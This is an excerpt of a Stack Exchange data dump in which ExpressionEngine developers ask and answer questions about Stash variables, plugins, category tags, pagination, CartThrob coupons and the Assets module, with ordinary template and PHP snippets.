  <row Id="9520" PostTypeId="2" ParentId="9472" CreationDate="2013-04-19T16:43:15.273" Score="1" Body="&lt;p&gt;Not sure how to answer your specific questions, but I would use my Theme_loader class. It makes life really easy when it comes to loading JS and CSS assets within your module, and it works in Safecracker too. I typically like to extract all these type of components into stand-alone libraries to make code maintenance easier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once upon a time, EE didn't have those variables available so when they were released that caused a lot of code to be incompatible (or in need of upgrade). If devs would use an abstraction like this, they would have just only had to update 1 library for all their add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Theme-Loader&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Theme-Loader&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-04-19T16:43:15.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9521" PostTypeId="1" AcceptedAnswerId="15029" CreationDate="2013-04-19T20:14:02.713" Score="2" ViewCount="191" Body="&lt;p&gt;Is there a way to define default values in set_list? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to set 3 variable to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:var_run_here}no{/stash:var_run_here}&#xA;{stash:var_type}none{/stash:var_type}&#xA;{stash:var_title}{url_title}{/stash:var_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then overwrite them, depending on a playa value or checkbox values further in the set_list grouping. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if is_global == 'y'}&#xA;            {stash:var_run_here}global{/stash:var_run_here}&#xA;    {if:else}&#xA;        {run_on_these_pages}&#xA;            {exp:switchee variable = &quot;{url_title}&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;{segment_2}&quot;}&#xA;                    {stash:var_run_here}yep{/stash:var_run_here}&#xA;                {/case}&#xA;            {/exp:switchee}&#xA;        {/run_on_these_pages}&#xA;    {/if}&#xA;&#xA;    {exclude_from_these_sections}&#xA;        {exp:switchee variable = &quot;{option_name}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;{url_title}&quot;}&#xA;                {stash:var_run_here}yep{/stash:var_run_here}&#xA;            {/case}&#xA;        {/exp:switchee}&#xA;    {/exclude_from_these_sections}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that this is the get_list part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;fma_list&quot; parse_conditionals=&quot;yes&quot; unique=&quot;yes&quot; process=&quot;end&quot; orderby=&quot;var_type&quot; sort=&quot;asc&quot; limit=&quot;999&quot;}&#xA;  Title: {var_title}&amp;lt;br&amp;gt;&#xA;  Run On This Page: {var_run_here}&amp;lt;br&amp;gt;&#xA;  Type: {var_type}&amp;lt;br&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2016-07-21T12:18:09.460" Title="Stash: how to overwrite a variable in set_list?" Tags="|stash|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9522" PostTypeId="1" AcceptedAnswerId="9525" CreationDate="2013-04-19T20:27:28.000" Score="1" ViewCount="72" Body="&lt;p&gt;I am coding a plugin for our company's stock price. I am determining growth as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(){&#xA;   $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;   $fp = fopen (&quot;http://finance.yahoo.com/d/quotes.csv?s=EDR&amp;amp;f=sl1c1pohgv&amp;amp;e=.csv&quot;,&quot;r&quot;);&#xA;   $retData = fgetcsv ($fp, 1000, &quot;,&quot;);&#xA;   $this-&amp;gt;return_data = round($retData[2]/$retData[3]*100,2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where $retData[2] is &quot;change&quot; and $retData[3] is &quot;previous close.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My returned data is something like -0.19% which I can output in a template using {exp:edrstock}%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question:&#xA;I need to create a conditional set of if/else tags so that if the number is negative I output it in a div with a class of &quot;negStock&quot; or if it is even, I output it in a div with a class of &quot;evenStock&quot; and if it is positive, I output it in a div with a class of &quot;posStock.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the class will determine what color the text is and whether or not it appears in the header (positive) or the footer (even or negative).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any guidance as I am teaching myself EE from a book and would like to learn this the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Jon&lt;/p&gt;&#xA;" OwnerUserId="1346" LastActivityDate="2013-04-19T21:37:37.313" Title="Conditional Tags Based on EE Tag Value?" Tags="|templates|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9523" PostTypeId="1" CreationDate="2013-04-19T20:34:20.347" Score="1" ViewCount="111" Body="&lt;p&gt;I can't get a simple GWCode Categories tag to display anything.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;general_areas&quot;}&#xA;{cat_name}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this displays the list just fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories&#xA;    channel=&quot;general_areas&quot;&#xA;    style=&quot;nested&quot;&#xA;}&#xA;{category_name}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm stumped.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-04-20T15:15:37.947" Title="GWCode Categories displays nothing" Tags="|gwcode-categories|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9524" PostTypeId="1" AcceptedAnswerId="9526" CreationDate="2013-04-19T21:36:44.850" Score="2" ViewCount="236" Body="&lt;p&gt;I have a custom table exp_jobs which I am querying.  I have used {exp:query} and have also been trying out &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/activerecord&lt;/a&gt; ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having 1 issue which I think could be solved a few ways.  The issue is when you page through the results page 2 I lose the value I am search for.  So if I have search form and I do a post I get: &lt;a href=&quot;http://website.com/jobs?keyword=medical&amp;amp;job_state=AL&quot; rel=&quot;nofollow&quot;&gt;http://website.com/jobs?keyword=medical&amp;amp;job_state=AL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to page 2 and I the query string is gone, which I expect.  I need to be able to alter the paging links however the {pagination_links} pair doesn't work for exp:query even though the docs say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The pagination in the Query module works exactly like the Channel and Comment Pagination with only one exception. Instead of using a LIMIT clause in your query, use the limit=”“ parameter to specify how many results to display per page, and ExpressionEngine will automatically modify your query to display the appropriate results.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somehow I need to override the standard pagination to include the query string, any thoughts on how I can do that or plugin I may have overlooked.  Tried a bunch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also looked at cookies and sessions but not getting consistent results.  I may just need to write my own plugin here to handle this if all else fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: April 20, 2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using jQuery to append the URL based on an earlier recommendation from Rob&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var querystring = '{querystring}';&#xA;&#xA;$('#paging a').each(function()&#xA;{&#xA; var href = $(this).attr('href');&#xA; href += (href.match(/\?/) ? '&amp;amp;' : '?') + querystring;&#xA; $(this).attr('href', href);&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="683" LastEditorUserId="683" LastEditDate="2013-04-20T15:22:05.727" LastActivityDate="2013-04-20T15:22:05.727" Title="Pagination using the Query Module or Active Record Plugin" Tags="|pagination|query|querystring|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9525" PostTypeId="2" ParentId="9522" CreationDate="2013-04-19T21:37:37.313" Score="1" Body="&lt;p&gt;You should create a tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$variables = array(&#xA;  'change' =&amp;gt; $retData[2],&#xA;  'previous_close' =&amp;gt; $retData[3],&#xA;  'percentage' =&amp;gt; round($retData[2]/$retData[3]*100,2),&#xA;);&#xA;$this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $variables);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you could do this (AND you'd have access to these other variables, should you need them):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:edrstock}&#xA;{if percentage &amp;gt;= 0}&#xA;  &amp;lt;span class=&quot;posStock&quot;&amp;gt;{percentage}%&amp;lt;/span&amp;gt; (+${change})&#xA;{if:else}&#xA;  &amp;lt;span class=&quot;negStock&quot;&amp;gt;{percentage}%&amp;lt;/span&amp;gt; (-${change})&#xA;{/if}&#xA;{/exp:edrstock}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-04-19T21:37:37.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9526" PostTypeId="2" ParentId="9524" CreationDate="2013-04-19T21:42:34.490" Score="1" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel/#channel-module-create-pagination&quot; rel=&quot;nofollow&quot;&gt;channel_module_create_pagination&lt;/a&gt; hook. Don't be fooled by the name, it doesn't just work with the channel module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also had success using Low Replace wrapped around pagination tags to manipulate pagination URLs. This might not be easy, though.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-04-19T21:42:34.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9527" PostTypeId="1" AcceptedAnswerId="9528" CreationDate="2013-04-20T01:43:58.287" Score="2" ViewCount="80" Body="&lt;p&gt;I've installed P&amp;amp;T &quot;Assets&quot;, set up an upload directory &quot;/videos&quot;, added 4 files to it, and had Assets &quot;index&quot; that folder: &lt;a href=&quot;http://d.pr/i/kG39&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/kG39&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets ignores the .flv file but finds, or I presume &quot;indexes&quot; the other 3: &lt;a href=&quot;http://d.pr/i/UCSw&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/UCSw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to add meta data as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make Assets recognize the .flv file? What about other kinds of files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Brandon&lt;/p&gt;&#xA;" OwnerUserId="1356" LastActivityDate="2013-04-20T03:26:10.267" Title="EE &quot;Assets&quot; not recognizing FLV file" Tags="|ee2|assets|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9528" PostTypeId="2" ParentId="9527" CreationDate="2013-04-20T03:26:10.267" Score="5" Body="&lt;p&gt;If you look in system/expressionengine/config/mimes.php, is 'flv' in that list? If not, try adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'flv'  =&amp;gt;  'video/x-flv',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-04-20T03:26:10.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9529" PostTypeId="1" CreationDate="2013-04-20T03:54:49.020" Score="1" ViewCount="165" Body="&lt;p&gt;Is it possible to show conditional HTML code or text based on the coupon code that has been entered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine if there is a coupon code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:coupon_info}&#xA;&amp;lt;div class=&quot;helper&quot;&amp;gt;&quot;{coupon_code}&quot; has been applied  &amp;lt;span class=&quot;label&quot;&amp;gt;&amp;lt;a href=&quot;{path=store/clear_coupon_codes}&quot;&amp;gt;remove coupon code?&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/exp:cartthrob:coupon_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But say I want to add a class to an item or change some text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No coupon code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;Subtotal {exp:cartthrob:cart_subtotal}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Shipping {exp:cartthrob:cart_shipping}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Discount {exp:cartthrob:cart_discount}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Total {exp:cartthrob:cart_total}&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Coupon code == cash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;Subtotal {exp:cartthrob:cart_subtotal}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Discount {exp:cartthrob:cart_discount}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;cash&quot;&amp;gt;Cash {exp:cartthrob:cart_total}&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried a few things and can get them to work when there is a coupon code but not when the coupon code if empty.&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2013-05-20T09:25:45.150" Title="Cartthrob Show Conditional Text/HTML Code Based on Coupon Code?" Tags="|ee2|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9530" PostTypeId="2" ParentId="9508" CreationDate="2013-04-20T03:59:23.010" Score="1" Body="&lt;p&gt;The issue was caused by a misconfiguration of the Freebie extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Break on category URL indicator&lt;/code&gt; had been set to &quot;Yes&quot; which meant that Freebie was overwriting EE's native functionality for processing &lt;code&gt;/channel/category/category-name&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2013-04-21T21:47:58.173" LastActivityDate="2013-04-21T21:47:58.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9531" PostTypeId="2" ParentId="9529" CreationDate="2013-04-20T09:13:45.273" Score="1" Body="&lt;p&gt;Because the &lt;code&gt;{coupon_code}&lt;/code&gt; can only be returned inside of the &lt;code&gt;{exp:cartthrob:coupon_info}&lt;/code&gt; tags, we'll need to &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; that variable for use later on outside of the tags (unless you want to wrap everything in those tags).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;a href=&quot;https://github.com/croxton/Stash#installation&quot; rel=&quot;nofollow&quot;&gt;install Stash&lt;/a&gt; and then try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;coupon_used&quot;}&#xA;    {exp:cartthrob:coupon_info}&#xA;        {coupon_code}&#xA;    {/exp:cartthrob:coupon_info}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- No Coupon Used (Default) --}&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;Subtotal {exp:cartthrob:cart_subtotal}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;Shipping {exp:cartthrob:cart_shipping}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;Discount {exp:cartthrob:cart_discount}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;Total {exp:cartthrob:cart_total}&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;{!-- Coupon code == 'cash' --}&#xA;{if {exp:stash:coupon_used} == 'cash'}&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;Subtotal {exp:cartthrob:cart_subtotal}&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;Discount {exp:cartthrob:cart_discount}&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;cash&quot;&amp;gt;Cash {exp:cartthrob:cart_total}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here we're running the cartthrob tags once and stashing the value of the coupon code for use later on in the template. Then we're running a conditional check on that stashed variable to see if it returns true. If it does then we display the conditional content. All without using any PHP in templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that work for you?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-20T09:13:45.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9532" PostTypeId="2" ParentId="9523" CreationDate="2013-04-20T15:15:37.947" Score="1" Body="&lt;p&gt;Finally got it working. This is an MSM setup and it seems you must provide a site id to the tag.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-04-20T15:15:37.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9533" PostTypeId="1" AcceptedAnswerId="9540" CreationDate="2013-04-21T01:11:33.317" Score="3" ViewCount="729" Body="&lt;p&gt;What's the difference between &quot;templates&quot; (default location &lt;code&gt;system/expressionengine/templates/default_site/&lt;/code&gt;) and &quot;themes&quot; (default location &lt;code&gt;themes/&lt;/code&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious particularly for a single site setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to manage my templates as files (for my editor + git) and by default it set me up with the templates folder, but it looks like the themes folder which came with a nice &lt;code&gt;site_themes/agile_records&lt;/code&gt; example is the same thing? Should I point my &lt;code&gt;Template File Directory&lt;/code&gt; setting to &lt;code&gt;themes/&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1357" LastActivityDate="2013-04-21T16:04:51.950" Title="templates vs. themes" Tags="|templates|themes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9534" PostTypeId="2" ParentId="9533" CreationDate="2013-04-21T02:37:47.610" Score="5" Body="&lt;p&gt;I think it's fair to say that themes should be looked at as examples and nothing more. I also think most people start off EE sites without installing a theme and also most people I know delete Agile Records from their installs from the get go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine really makes no assumption about what you want to build for the most part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, there are a few ways to handle templates. You can turn on the save templates as file feature. More about that can be found &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a product like &lt;a href=&quot;http://hellomountee.com/&quot;&gt;Mountee&lt;/a&gt; which I won't go into detail here because they have a full site of details. Basically, however, it mounts your templates folder so you can access it via your favorite editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use something like &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;EE Master Config&lt;/a&gt; to setup templates as files using Config Overrides so you don't have to turn on each template as a file. This also has config overrides for moving the default location of the template folder as well. This of course is the more advanced of the three options I listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There really is no reason to ever have to edit a template in the control panel these days.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-04-21T02:37:47.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9535" PostTypeId="2" ParentId="9504" CreationDate="2013-04-21T02:43:46.870" Score="0" Body="&lt;p&gt;Ian hit the nail on the head with regard to adding this yourself. It's not much work to add the extra columns to the database, and your data will not be deleted during any future updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree this would be a nice feature to have, there just hasn't been much demand for it (especially once we increased the fixed limit from 5 to 9) so other features have taken priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added it to the &lt;a href=&quot;https://exp-resso.com/store/support&quot; rel=&quot;nofollow&quot;&gt;feature requests page&lt;/a&gt; for you so we can gauge interest in it.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-21T02:43:46.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9537" PostTypeId="1" CreationDate="2013-04-21T10:53:38.237" Score="1" ViewCount="78" Body="&lt;p&gt;Hei everyone,&lt;/p&gt;&#xA;&lt;p&gt;I am trying to build a small system for an architectural bureaux like this :&lt;/p&gt;&#xA;&lt;h1&gt;The main architect posts a House Project (  # an entry ).&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;he invites 1 or more people to join the &amp;quot;project&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When they log in into their account, they will see only the entry &amp;quot;asigned&amp;quot; to them&lt;/p&gt;&#xA;&lt;h1&gt;Questions:&lt;/h1&gt;&#xA;&lt;p&gt;How can the architect invite people into &amp;quot;his project&amp;quot; ?&lt;/p&gt;&#xA;&lt;p&gt;How can that people, once they log in, to see only the posts assigned to them ?&lt;/p&gt;&#xA;&lt;p&gt;I thougght using  SOLSPACE USER module and let the architect select from his list the authors ( people ) so they can see the post they are assigned to, but it doesen't seem to work as I encounter the problem : there are more than 2 architects and they each have different people to assign to different projects, so the list of authors to select from will be the same for both of them and they well see each other's people...&lt;/p&gt;&#xA;&lt;p&gt;Any solution for this ?&lt;/p&gt;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-04-22T12:59:06.067" Title="How to share an entry to show up only to some users" Tags="|channel-entries|entry|solspace-user|users|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9538" PostTypeId="2" ParentId="9537" CreationDate="2013-04-21T11:26:32.373" Score="0" Body="&lt;p&gt;Hah, I got bit by the users thing thinking it would do something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best guess would be to checkout devotee &amp;amp; look for some sort of coupon/special code generator to generate a code and use that to supply the end user with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's still the problem of assigning the code to the master entry. Maybe just setup a new field with an author set string they can use on 1 or many entries have the user be greeted with a modal or somesuch, user enters &quot;password/key&quot; if matches then show entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fall's into non native territory, but u have a blank slate, rethink the process and arrive @ a repeatable process.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-04-21T11:26:32.373" CommentCount="2" CommunityOwnedDate="2013-04-21T11:26:32.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="9539" PostTypeId="1" AcceptedAnswerId="9552" CreationDate="2013-04-21T14:57:12.090" Score="0" ViewCount="200" Body="&lt;p&gt;I am designing an EE site for a board game cafe which sells games online and also has a games library in-store for playing. The client wants to enter the game information only once into the shop database (games will be for sale online only, available in store only, or both). Initially, when I did the online shop coding for online sales (I'm using Expresso Store), I used the categories as navigation. I did this so that the client can easily add categories. The client wants the same categories available for the in-store games library, so I copied the entire Store template group for the games library and modified the product template to remove the pricing and ‘add to cart’ functionality, but I need different sidebar category navigation in this template group as not all games available online for sale are available in store. I made a new category group called ‘games library’ and was hoping that only products with that checked (id 10) will return the other categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have sidebar navigation which looks (in part) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Genres&amp;lt;/h2&amp;gt;&#xA;{exp:gwcode_categories group_id=&quot;4&quot; show_empty=&quot;no&quot;}&#xA;     &amp;lt;a href=&quot;{path=games_library/cat/{cat_url_title}}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&#xA;&amp;lt;h2&amp;gt;Age Groups&amp;lt;/h2&amp;gt;&#xA;{exp:gwcode_categories group_id=&quot;8&quot; show_empty=&quot;no&quot;}&#xA;     &amp;lt;a href=&quot;{path=games_library/cat/{cat_url_title}}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only want items to show up in this navigation if another category (ID 10) is also checked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this, but it doesn’t work – it just shows empty bullets&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Genres&amp;lt;/h2&amp;gt;&#xA;{exp:gwcode_categories group_id=&quot;4&quot; show_empty=&quot;no&quot;}&#xA;{if cat_group_id == '10' AND cat_group_id == '4'}&#xA;     &amp;lt;a href=&quot;{path=games_library/cat/{cat_url_title}}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="437" LastEditorUserId="422" LastEditDate="2013-04-22T17:33:43.107" LastActivityDate="2013-04-22T17:33:43.107" Title="Limiting GWcode categories based one an additional category" Tags="|expresso-store|ee2|categories|gwcode-categories|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9540" PostTypeId="2" ParentId="9533" CreationDate="2013-04-21T16:04:51.950" Score="1" Body="&lt;p&gt;&lt;strong&gt;Templates&lt;/strong&gt; are the templates that you make with the ExpressionEngine tags, html  etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Themes&lt;/strong&gt; are used by the system to display the control panel, field types etc. (also, as NateTronn mentions, there are/is some example code for the example site &quot;Agile Records&quot; that is shipped with EE)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally the system directory is not publicly accessible, the themes directory is. The themes directory also holds the javascript and css files for third-party addons.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-04-21T16:04:51.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9541" PostTypeId="2" ParentId="9537" CreationDate="2013-04-21T17:47:48.977" Score="1" Body="&lt;p&gt;Solspace have a module called 'friends' that should be able to do what you are looking for:&#xA;&lt;a href=&quot;http://www.solspace.com/software/detail/friends/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/friends/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-04-21T17:47:48.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9542" PostTypeId="2" ParentId="9518" CreationDate="2013-04-21T17:53:20.500" Score="0" Body="&lt;p&gt;A weird thing has happened and the date has resolved itself again without any changes on my part.&#xA;Makes me think it was a songkick issue that has now been resolved!&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-04-21T17:53:20.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9543" PostTypeId="1" CreationDate="2013-04-21T17:53:52.693" Score="0" ViewCount="111" Body="&lt;p&gt;I've been using Matrix for quite a long time and yesterday I bought Playa because I thought that it can do what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel &quot;Movies&quot; and a channel &quot;People&quot;. I made a Matrix field for the People channel with the column &quot;Names&quot; because some people have alias names. I made a a Matrix field for &quot;Movies&quot; with the columns &quot;Name&quot; and &quot;Role&quot;. Name is a Playa field and I thought it's possible to make a setting that I can chose that I can select from the &quot;People&quot; matrix name Field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I need in publish for the movies is a field where I can select a&#xA;person (entry) from the people channel and then one of this persons alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John Doe (this is a entry)&#xA;- David (this is a alias)&#xA;- Steven (this is a alias)&lt;/p&gt;&#xA;" OwnerUserId="1360" LastEditorUserId="975" 